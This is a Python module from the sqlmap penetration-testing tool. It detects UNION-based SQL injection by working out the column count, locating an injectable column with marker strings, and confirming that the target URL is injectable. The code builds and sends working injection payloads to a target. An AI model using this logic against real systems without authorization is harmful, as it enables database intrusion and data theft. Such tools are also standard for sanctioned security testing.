#!/usr/bin/env python

"""
$Id$

Copyright (c) 2006-2011 sqlmap developers (http://sqlmap.sourceforge.net/)
See the file 'doc/COPYING' for copying permission
"""

import random
import re
import time

from lib.core.agent import agent
from lib.core.common import average
from lib.core.common import Backend
from lib.core.common import clearConsoleLine
from lib.core.common import dataToStdout
from lib.core.common import extractRegexResult
from lib.core.common import getUnicode
from lib.core.common import listToStrValue
from lib.core.common import parseUnionPage
from lib.core.common import popValue
from lib.core.common import pushValue
from lib.core.common import randomStr
from lib.core.common import removeReflectiveValues
from lib.core.common import stdev
from lib.core.common import wasLastRequestDBMSError
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.enums import DBMS
from lib.core.enums import PAYLOAD
from lib.core.settings import FROM_TABLE
from lib.core.settings import UNION_MIN_RESPONSE_CHARS
from lib.core.settings import UNION_STDEV_COEFF
from lib.core.settings import MIN_RATIO
from lib.core.settings import MAX_RATIO
from lib.core.settings import MIN_STATISTICAL_RANGE
from lib.core.settings import MIN_UNION_RESPONSES
from lib.core.unescaper import unescaper
from lib.parse.html import htmlParser
from lib.request.comparison import comparison
from lib.request.connect import Connect as Request

def __findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL):
    """
    Finds number of columns affected by UNION based injection
    """
    retVal = None

    pushValue(kb.errorIsNone)
    items, ratios = [], []
    kb.errorIsNone = False
    lowerCount, upperCount = conf.uColsStart, conf.uColsStop

    if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
        upperCount = lowerCount + MIN_UNION_RESPONSES

    min_, max_ = MAX_RATIO, MIN_RATIO

    for count in range(lowerCount, upperCount+1):
        query = agent.forgeInbandQuery('', -1, count, comment, prefix, suffix, kb.uChar)
        payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
        page, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
        ratio = comparison(page, True) or MIN_RATIO
        ratios.append(ratio)
        min_, max_ = min(min_, ratio), max(max_, ratio)
        items.append((count, ratio))

    ratios.pop(ratios.index(min_))
    ratios.pop(ratios.index(max_))

    deviation = stdev(ratios)

    if abs(max_ - min_) < MIN_STATISTICAL_RANGE:
        kb.errorIsNone = popValue()
        return None

    lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation
    minItem, maxItem = None, None

    for item in items:
        if item[1] == min_:
            minItem = item
        elif item[1] == max_:
            maxItem = item

    if min_ < lower:
        retVal = minItem[0]

    if max_ > upper:
        if retVal is None or abs(max_ - upper) > abs(min_ - lower):
            retVal = maxItem[0]

    kb.errorIsNone = popValue()

    if retVal:
        infoMsg = "target url appears to be UNION injectable with %d columns" % retVal
        logger.info(infoMsg)

    return retVal

def __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL):
    validPayload = None
    vector = None

    positions = range(0, count)

    # Unbiased approach for searching appropriate usable column
    random.shuffle(positions)

    # For each column of the table (# of NULL) perform a request using
    # the UNION ALL SELECT statement to test it the target url is
    # affected by an exploitable inband SQL injection vulnerability
    for position in positions:
        # Prepare expression with delimiters
        randQuery = randomStr(UNION_MIN_RESPONSE_CHARS)
        phrase = "%s%s%s".lower() % (kb.misc.start, randQuery, kb.misc.stop)
        randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
        randQueryUnescaped = unescaper.unescape(randQueryProcessed)

        # Forge the inband SQL injection request
        query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar)
        payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)

        # Perform the request
        page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
        content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
            removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
            payload, True) or "")

        unionErrorCase = kb.errorIsNone and wasLastRequestDBMSError()

        if unionErrorCase:
            warnMsg = "combined UNION/ERROR SQL injection case found on "
            warnMsg += "column %d. sqlmap will try to find another " % (position + 1)
            warnMsg += "column with better characteristics"
            logger.warn(warnMsg)

        if content and phrase in content:
            validPayload = payload
            vector = (position, count, comment, prefix, suffix, kb.uChar, where)

            if where == PAYLOAD.WHERE.ORIGINAL:
                # Prepare expression with delimiters
                randQuery2 = randomStr(UNION_MIN_RESPONSE_CHARS)
                phrase2 = "%s%s%s".lower() % (kb.misc.start, randQuery2, kb.misc.stop)
                randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2)
                randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2)

                # Confirm that it is a full inband SQL injection
                query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, multipleUnions=randQueryUnescaped2)
                payload = agent.payload(place=place, parameter=parameter, newValue=query, where=PAYLOAD.WHERE.NEGATIVE)

                # Perform the request
                page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
                content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "")

                if content and ((phrase in content and phrase2 not in content) or (phrase not in content and phrase2 in content)):
                    vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE)

            if not unionErrorCase:
                break

    return validPayload, vector

def __unionConfirm(comment, place, parameter, value, prefix, suffix, count):
    validPayload = None
    vector = None

    # Confirm the inband SQL injection and get the exact column
    # position which can be used to extract data
    validPayload, vector = __unionPosition(comment, place, parameter, value, prefix, suffix, count)

    # Assure that the above function found the exploitable full inband
    # SQL injection position
    if not validPayload:
        validPayload, vector = __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=PAYLOAD.WHERE.NEGATIVE)

    return validPayload, vector

def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix):
    """
    This method tests if the target url is affected by an inband
    SQL injection vulnerability. The test is done up to 50 columns
    on the target database table
    """

    validPayload = None
    vector = None
    query = agent.prefixQuery("UNION ALL SELECT %s" % kb.uChar)
    total = conf.uColsStop+1 - conf.uColsStart

    count = __findUnionCharCount(comment, place, parameter, value, prefix, suffix)

    if count:
        if Backend.getIdentifiedDbms() in FROM_TABLE and query.endswith(FROM_TABLE[Backend.getIdentifiedDbms()]):
            query = query[:-len(FROM_TABLE[Backend.getIdentifiedDbms()])]

        if count:
            query += ", %s" % kb.uChar

        if Backend.getIdentifiedDbms() in FROM_TABLE:
            query += FROM_TABLE[Backend.getIdentifiedDbms()]

        validPayload, vector = __unionConfirm(comment, place, parameter, value, prefix, suffix, count)

    return validPayload, vector

def unionTest(comment, place, parameter, value, prefix, suffix):
    """
    This method tests if the target url is affected by an inband
    SQL injection vulnerability. The test is done up to 3*50 times
    """

    if conf.direct:
        return

    kb.technique = PAYLOAD.TECHNIQUE.UNION
    validPayload, vector = __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)

    if validPayload:
        validPayload = agent.removePayloadDelimiters(validPayload)

    return validPayload, vector